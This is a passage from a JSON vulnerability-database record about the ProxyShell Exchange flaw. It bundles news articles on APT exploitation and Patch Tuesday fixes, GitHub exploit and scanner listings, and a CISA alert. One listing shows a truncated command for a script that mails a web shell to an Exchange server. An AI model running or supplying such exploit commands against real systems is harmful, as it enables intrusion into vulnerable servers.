(NCSC).\n\nThe agencies did not attribute the activities to a specific advanced persistent threat (APT) actor. Targeted victims include Australian organizations and a wide range of entities across multiple U.S. critical infrastructure sectors, such as transportation and healthcare. The list of flaws being exploited are below \u2014\n\n * [**CVE-2021-34473**](<https://nvd.nist.gov/vuln/detail/CVE-2021-34473>) (CVSS score: 9.1) - Microsoft Exchange Server remote code execution vulnerability (aka \"[ProxyShell](<https://thehackernews.com/2021/08/microsoft-exchange-under-attack-with.html>)\")\n * [**CVE-2020-12812**](<https://nvd.nist.gov/vuln/detail/CVE-2020-12812>) (CVSS score: 9.8) - [FortiOS SSL VPN 2FA bypass](<https://thehackernews.com/2021/08/unpatched-remote-hacking-zero-day-flaw.html>) by changing username case\n * [**CVE-2019-5591**](<https://nvd.nist.gov/vuln/detail/CVE-2019-5591>) (CVSS score: 6.5) - FortiGate [default configuration](<https://thehackernews.com/2021/08/unpatched-remote-hacking-zero-day-flaw.html>) does not verify the LDAP server identity\n * [**CVE-2018-13379**](<https://nvd.nist.gov/vuln/detail/CVE-2018-13379>) (CVSS score: 9.8) - [FortiOS system file leak](<https://thehackernews.com/2021/09/hackers-leak-vpn-account-passwords-from.html>) through SSL VPN via specially crafted HTTP resource requests\n\nBesides exploiting the ProxyShell flaw to gain access to vulnerable networks, CISA and FBI said they observed the adversary abusing a Fortigate appliance in May 2021 to gain a foothold to a web server hosting the domain for a U.S. municipal government. The next month, the APT actors \"exploited a Fortigate appliance to access environmental control networks associated with a U.S.-based hospital specializing in healthcare for children,\" the advisory said.\n\nThe development marks the second time the U.S. government has [alerted](<https://thehackernews.com/2021/08/unpatched-remote-hacking-zero-day-flaw.html>) of advanced persistent threat groups targeting Fortinet FortiOS servers by leveraging CVE-2018-13379, CVE-2020-12812, and CVE-2019-5591 to compromise systems belonging to government and commercial entities.\n\nAs mitigations, the agencies are recommending organizations to immediately patch software affected by the aforementioned vulnerabilities, enforce data backup and restoration procedures, implement network segmentation, secure accounts with multi-factor authentication, and patch operating systems, software, and firmware as and when updates are released.\n\n \n\n\nFound this article interesting? Follow THN on [Facebook](<https://www.facebook.com/thehackernews>), [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-11-17T15:44:00", "type": "thn", "title": "U.S., U.K. and Australia Warn of Iranian Hackers Exploiting Microsoft, Fortinet Flaws", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2018-13379", "CVE-2019-5591", "CVE-2020-12812", "CVE-2021-34473"], "modified": "2021-11-22T07:14:13", "id": "THN:C3B82BB0558CF33CFDC326E596AF69C4", "href": "https://thehackernews.com/2021/11/us-uk-and-australia-warn-of-iranian.html", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-05-09T12:38:04", "description": "[](<https://thehackernews.com/images/-mqB1LJpewfs/YJuapEGzrpI/AAAAAAAAChc/PMqXgSaopa04nju1H68tJ4fqClZ3HLdKgCLcBGAsYHQ/s0/windows-update.jpg>)\n\nMicrosoft on Tuesday rolled out its scheduled [monthly security update](<https://msrc.microsoft.com/update-guide/releaseNote/2021-May>) with patches for 55 security flaws affecting Windows, Exchange Server, Internet Explorer, Office, Hyper-V, Visual Studio, and Skype for Business.\n\nOf these 55 bugs, four are rated as Critical, 50 are rated as Important, and one is listed as Moderate in severity. Three of the vulnerabilities are publicly known, although, unlike [last month](<https://thehackernews.com/2021/04/nsa-discovers-new-vulnerabilities.html>), none of them are under active exploitation at the time of release.\n\nThe most critical of the flaws addressed is [**CVE-2021-31166**](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-31166>), a wormable remote code execution vulnerability in the HTTP protocol stack. The issue, which could allow an unauthenticated attacker to send a specially crafted packet to a targeted server, is rated 9.8 out of a maximum of 10 on the CVSS scale.\n\nAnother vulnerability of note is a remote code execution flaw in Hyper-V ([**CVE-2021-28476**](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-28476>)), which [also scores](<https://thehackernews.com/>) the highest severity among all flaws patched this month with a CVSS rating of 9.9.\n\n\"This issue allows a guest VM to force the Hyper-V host's kernel to read from an arbitrary, potentially invalid address,\" Microsoft said in its advisory. \"The contents of the address read would not be returned to the guest VM. In most circumstances, this would result in a denial of service of the Hyper-V host (bugcheck) due to reading an unmapped address.\"\n\n\"It is possible to read from a memory mapped device register corresponding to a hardware device attached to the Hyper-V host which may trigger additional, hardware device specific side effects that could compromise the Hyper-V host's security,\" the Windows maker noted.\n\nIn addition, the Patch Tuesday update addresses a scripting engine memory corruption flaw in Internet Explorer ([**CVE-2021-26419**](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-26419>)) and four weaknesses in Microsoft Exchange Server, marking the third consecutive month Microsoft has shipped fixes for the product since [ProxyLogon exploits](<https://thehackernews.com/2021/03/microsoft-issues-security-patches-for.html>) came to light in March \u2014\n\n * [**CVE-2021-31207**](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-31207>) (CVSS score: 6.6) - Security Feature Bypass Vulnerability (publicly known)\n * [**CVE-2021-31195**](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-31195>) (CVSS score: 6.5) - Remote Code Execution Vulnerability\n * [**CVE-2021-31198**](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-31198>) (CVSS score: 7.8) - Remote Code Execution Vulnerability\n * [**CVE-2021-31209**](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-31209>) (CVSS score: 6.5) - Spoofing Vulnerability\n\nWhile CVE-2021-31207 and CVE-2021-31209 were demonstrated at the [2021 Pwn2Own contest](<https://thehackernews.com/2021/04/windows-ubuntu-zoom-safari-ms-exchange.html>), Orange Tsai from DEVCORE, who disclosed the ProxyLogon Exchange Server vulnerability, is credited with reporting CVE-2021-31195.\n\nElsewhere, the update addresses a slew of privilege escalation bugs in Windows Container Manager Service, an information disclosure vulnerability in Windows Wireless Networking, and several remote code execution flaws in Microsoft Office, Microsoft SharePoint Server, Skype for Business, and Lync, Visual Studio, and Windows Media Foundation Core.\n\nTo install the latest security updates, Windows users can head to Start > Settings > Update & Security > Windows Update, or by selecting Check for Windows updates.\n\n \n\n\nFound this article interesting? Follow THN on [Facebook](<https://www.facebook.com/thehackernews>), [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "cvss3": {"exploitabilityScore": 3.1, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 9.9, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2021-05-12T09:15:00", "type": "thn", "title": "Latest Microsoft Windows Updates Patch Dozens of Security Flaws", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 4.9, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "HIGH", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 7.6, "vectorString": "AV:N/AC:H/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-26419", "CVE-2021-28476", "CVE-2021-31166", "CVE-2021-31195", "CVE-2021-31198", "CVE-2021-31207", "CVE-2021-31209"], "modified": "2021-05-12T09:15:56", "id": "THN:25143CA85A0297381CEBBBD35F24F85B", "href": "https://thehackernews.com/2021/05/latest-microsoft-windows-updates-patch.html", "cvss": {"score": 7.6, "vector": "AV:N/AC:H/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-05-09T12:39:21", "description": "[](<https://thehackernews.com/images/-aVEUxlp9r9o/YO5q47NA_bI/AAAAAAAADL4/tkntZNY2smU5FPaAkTU1qBYUg8VPhp8NACLcBGAsYHQ/s0/windows-update-download.jpg>)\n\nMicrosoft rolled out [Patch Tuesday updates](<https://msrc.microsoft.com/update-guide/releaseNote/2021-Jul>) for the month of July with fixes for a total of 117 security vulnerabilities, including nine zero-day flaws, of which four are said to be under active attacks in the wild, potentially enabling an adversary to take control of affected systems. \n\nOf the 117 issues, 13 are rated Critical, 103 are rated Important, and one is rated as Moderate in severity, with six of these bugs publicly known at the time of release. \n\nThe updates span across several of Microsoft's products, including Windows, Bing, Dynamics, Exchange Server, Office, Scripting Engine, Windows DNS, and Visual Studio Code. July also marks a dramatic jump in the volume of vulnerabilities, surpassing the number Microsoft collectively addressed as part of its updates in [May](<https://thehackernews.com/2021/05/latest-microsoft-windows-updates-patch.html>) (55) and [June](<https://thehackernews.com/2021/06/update-your-windows-computers-to-patch.html>) (50).\n\nChief among the security flaws actively exploited are as follows \u2014\n\n * **CVE-2021-34527** (CVSS score: 8.8) - Windows Print Spooler Remote Code Execution Vulnerability (publicly disclosed as \"[PrintNightmare](<https://thehackernews.com/2021/07/microsofts-emergency-patch-fails-to.html>)\")\n * **CVE-2021-31979** (CVSS score: 7.8) - Windows Kernel Elevation of Privilege Vulnerability\n * **CVE-2021-33771** (CVSS score: 7.8) - Windows Kernel Elevation of Privilege Vulnerability\n * **CVE-2021-34448** (CVSS score: 6.8) - Scripting Engine Memory Corruption Vulnerability\n\nMicrosoft also stressed the high attack complexity of CVE-2021-34448, specifically stating that the attacks hinge on the possibility of luring an unsuspecting user into clicking on a link that leads to a malicious website hosted by the adversary and contains a specially-crafted file that's engineered to trigger the vulnerability.\n\nThe other five publicly disclosed, but not exploited, zero-day vulnerabilities are listed below \u2014\n\n * **CVE-2021-34473** (CVSS score: 9.1) - Microsoft Exchange Server Remote Code Execution Vulnerability\n * **CVE-2021-34523** (CVSS score: 9.0) - Microsoft Exchange Server Elevation of Privilege Vulnerability\n * **CVE-2021-33781** (CVSS score: 8.1) - Active Directory Security Feature Bypass Vulnerability\n * **CVE-2021-33779** (CVSS score: 8.1) - Windows ADFS Security Feature Bypass Vulnerability\n * **CVE-2021-34492** (CVSS score: 8.1) - Windows Certificate Spoofing Vulnerability\n\n\"This Patch Tuesday comes just days after out-of-band updates were released to address PrintNightmare \u2014 the critical flaw in the Windows Print Spooler service that was found in all versions of Windows,\" Bharat Jogi, senior manager of vulnerability and threat research at Qualys, told The Hacker News.\n\n\"While MSFT has released updates to fix the vulnerability, users must still ensure that necessary configurations are set up correctly. Systems with misconfigurations will continue to be at risk of exploitation, even after the latest patch has been applied. PrintNightmare was a highly serious issue that further underscores the importance of marrying detection and remediation,\" Jogi added.\n\nThe PrintNightmare vulnerability has also prompted the U.S. Cybersecurity and Infrastructure Security Agency (CISA) to [release an emergency directive](<https://us-cert.cisa.gov/ncas/current-activity/2021/07/13/cisa-issues-emergency-directive-microsoft-windows-print-spooler>), urging federal departments and agencies to apply the latest security updates immediately and disable the print spooler service on servers on Microsoft Active Directory Domain Controllers.\n\nAdditionally, Microsoft also rectified a security bypass vulnerability in Windows Hello biometrics-based authentication solution ([CVE-2021-34466](<https://www.cyberark.com/resources/threat-research-blog/bypassing-windows-hello-without-masks-or-plastic-surgery>), CVSS score: 5.7) that could permit an adversary to spoof a target's face and get around the login screen.\n\nOther critical flaws remediated by Microsoft include remote code execution vulnerabilities affecting Windows DNS Server (CVE-2021-34494, CVSS score 8.8) and Windows Kernel (CVE-2021-34458), the latter of which is rated 9.9 on the CVSS severity scale.\n\n\"This issue allows a single root input/output virtualization (SR-IOV) device which is assigned to a guest to potentially interfere with its Peripheral Component Interface Express (PCIe) siblings which are attached to other guests or to the root,\" Microsoft noted in its advisory for CVE-2021-34458, adding Windows instances hosting virtual machines are vulnerable to this flaw.\n\nTo install the latest security updates, Windows users can head to Start > Settings > Update & Security > Windows Update or by selecting Check for Windows updates.\n\n### Software Patches From Other Vendors\n\nAlongside Microsoft, patches have also been released by a number of other vendors to address several vulnerabilities, including \u2014\n\n * [Adobe](<https://helpx.adobe.com/security.html/security/security-bulletin.ug.html>)\n * [Android](<https://source.android.com/security/bulletin/2021-07-01>)\n * [Apache Tomcat](<https://mail-archives.us.apache.org/mod_mbox/www-announce/202107.mbox/%3Cd050b202-b64e-bc6f-a630-2dd83202f23a%40apache.org%3E>)\n * [Cisco](<https://tools.cisco.com/security/center/publicationListing.x>)\n * [Citrix](<https://support.citrix.com/article/CTX319750>)\n * [Juniper Networks](<https://kb.juniper.net/InfoCenter/index?page=content&id=JSA11180&cat=SIRT_1&actp=LIST>)\n * Linux distributions [SUSE](<https://lists.suse.com/pipermail/sle-security-updates/2021-July/thread.html>), [Oracle Linux](<https://linux.oracle.com/ords/f?p=105:21>), and [Red Hat](<https://access.redhat.com/security/security-updates/#/security-advisories?q=&p=2&sort=portal_publication_date%20desc&rows=10&portal_advisory_type=Security%20Advisory&documentKind=Errata>)\n * [SAP](<https://wiki.scn.sap.com/wiki/pages/viewpage.action?pageId=580617506>)\n * [Schneider Electric](<https://www.se.com/ww/en/work/support/cybersecurity/overview.jsp>)\n * [Siemens](<https://new.siemens.com/global/en/products/services/cert.html#SecurityPublications>), and\n * [VMware](<https://www.vmware.com/security/advisories.html>)\n \n\n\nFound this article interesting? Follow THN on [Facebook](<https://www.facebook.com/thehackernews>), [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "cvss3": {"exploitabilityScore": 3.1, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 9.9, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2021-07-14T05:03:00", "type": "thn", "title": "Update Your Windows PCs to Patch 117 New Flaws, Including 9 Zero-Days", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-31979", "CVE-2021-33771", "CVE-2021-33779", "CVE-2021-33781", "CVE-2021-34448", "CVE-2021-34458", "CVE-2021-34466", "CVE-2021-34473", "CVE-2021-34492", "CVE-2021-34494", "CVE-2021-34523", "CVE-2021-34527"], "modified": "2021-07-17T11:52:45", "id": "THN:9FD8A70F9C17C3AF089A104965E48C95", "href": "https://thehackernews.com/2021/07/update-your-windows-pcs-to-patch-117.html", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}], "githubexploit": [{"lastseen": "2022-03-23T19:01:02", "description": "# ProxyShell\nProof of Concept Exploit for Microsoft Exchange CVE...", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-09-04T15:34:03", "type": "githubexploit", "title": "Exploit for Vulnerability in Microsoft", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-31207", "CVE-2021-34473", "CVE-2021-34523"], "modified": "2022-03-23T18:03:46", "id": "2D0AC1C7-F656-5D6B-9FC2-79525014BE1E", "href": "", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}, "privateArea": 1}, {"lastseen": "2022-03-12T14:43:07", "description": "# ProxyShell_POC\nPOC for ...", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-10-02T07:29:24", "type": "githubexploit", "title": "Exploit for Vulnerability in Microsoft", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-34523", "CVE-2021-31207", "CVE-2021-34473"], "modified": "2022-03-12T13:42:54", "id": "E458F533-4B97-51A1-897B-1AF58218F2BF", "href": "", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}, "privateArea": 1}, {"lastseen": "2023-05-23T17:38:13", "description": "- python send_webshell_mail.py https://mail16.echod.com aaa@echo...", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-11-22T07:47:09", "type": "githubexploit", "title": "Exploit for Server-Side Request Forgery in Microsoft", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-34473"], "modified": "2023-02-27T03:34:27", "id": "0A015784-48D7-5DC1-9FB9-416A9BBEA6D5", "href": "", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}, "privateArea": 1}, {"lastseen": "2023-05-23T17:18:33", "description": "# CVE-2021-34473-NMAP-SCANNER\nA massive scanner for CVE-2021-344...", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2022-11-16T08:22:29", "type": "githubexploit", "title": "Exploit for Server-Side Request Forgery in Microsoft", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-34473"], "modified": "2023-05-06T05:33:04", "id": "2BEFA353-947D-5B41-AE38-EDB0C71B5B44", "href": "", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}, "privateArea": 1}, {"lastseen": "2022-08-17T22:52:28", "description": "# CVE-2021-34473-scanner\nScanner for CVE-2021-34473, ProxyShell,...", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-08-11T12:20:07", "type": "githubexploit", "title": "Exploit for Server-Side Request Forgery in Microsoft", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-34473"], "modified": "2021-12-22T09:48:36", "id": "F00E8BE4-12D2-5F5B-A9AA-D627780259FB", "href": "", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}, "privateArea": 1}, {"lastseen": "2022-08-10T07:09:52", "description": "# CVE-2021-34473\nCVE-2021-34473 Microsoft Exchange Server Remote...", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-08-16T11:27:13", "type": "githubexploit", "title": "Exploit for Server-Side Request Forgery in Microsoft", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-34473"], "modified": "2022-08-10T06:53:56", "id": "4AC49DB9-A784-561B-BF92-94209310B51B", "href": "", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}, "privateArea": 1}, {"lastseen": "2022-04-05T16:21:50", "description": "# Log4j Threat Hunting and Incident Response Resources\n\n## Lates...", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2022-01-09T08:22:24", "type": "githubexploit", "title": "Exploit for Deserialization of Untrusted Data in Apache Log4J", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-26084", "CVE-2021-34473", "CVE-2021-44228"], "modified": "2022-01-10T19:21:49", "id": "3DF3AA17-94C8-5E17-BCB8-F806D1746CDF", "href": "", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}, "privateArea": 1}, {"lastseen": "2022-03-23T18:18:47", "description": "# Contains Custom NSE scripts \n\n\n# CVE-2020-0796\nNSE script to d...", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2020-03-11T17:51:29", "type": "githubexploit", "title": "Exploit for Improper Restriction of Operations within the Bounds of a Memory Buffer in Microsoft", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-0796", "CVE-2020-1350", "CVE-2021-21972", "CVE-2021-21973", "CVE-2021-34473"], "modified": "2022-03-23T17:15:09", "id": "F14BCE6F-3415-59C7-AC9D-A5D7ABE1BB8E", "href": "", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}, "privateArea": 1}], "cisa": [{"lastseen": "2021-08-22T22:07:03", "description": "Malicious cyber actors are actively exploiting the following ProxyShell vulnerabilities: [CVE-2021-34473](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34473>), [CVE-2021-34523](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34523>), and [CVE-2021-31207](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-31207>). An attacker exploiting these vulnerabilities could execute arbitrary code on a vulnerable machine. CISA strongly urges organizations to identify vulnerable systems on their networks and immediately apply [Microsoft's Security Update from May 2021](<https://us-cert.cisa.gov/ncas/current-activity/2021/05/11/microsoft-releases-may-2021-security-updates>)\u2014which remediates all three ProxyShell vulnerabilities\u2014to protect against these attacks. \n\n\nThis product is provided subject to this Notification and this [Privacy & Use](<https://www.dhs.gov/privacy-policy>) policy.\n\n**Please share your thoughts.**\n\nWe recently updated our anonymous [product 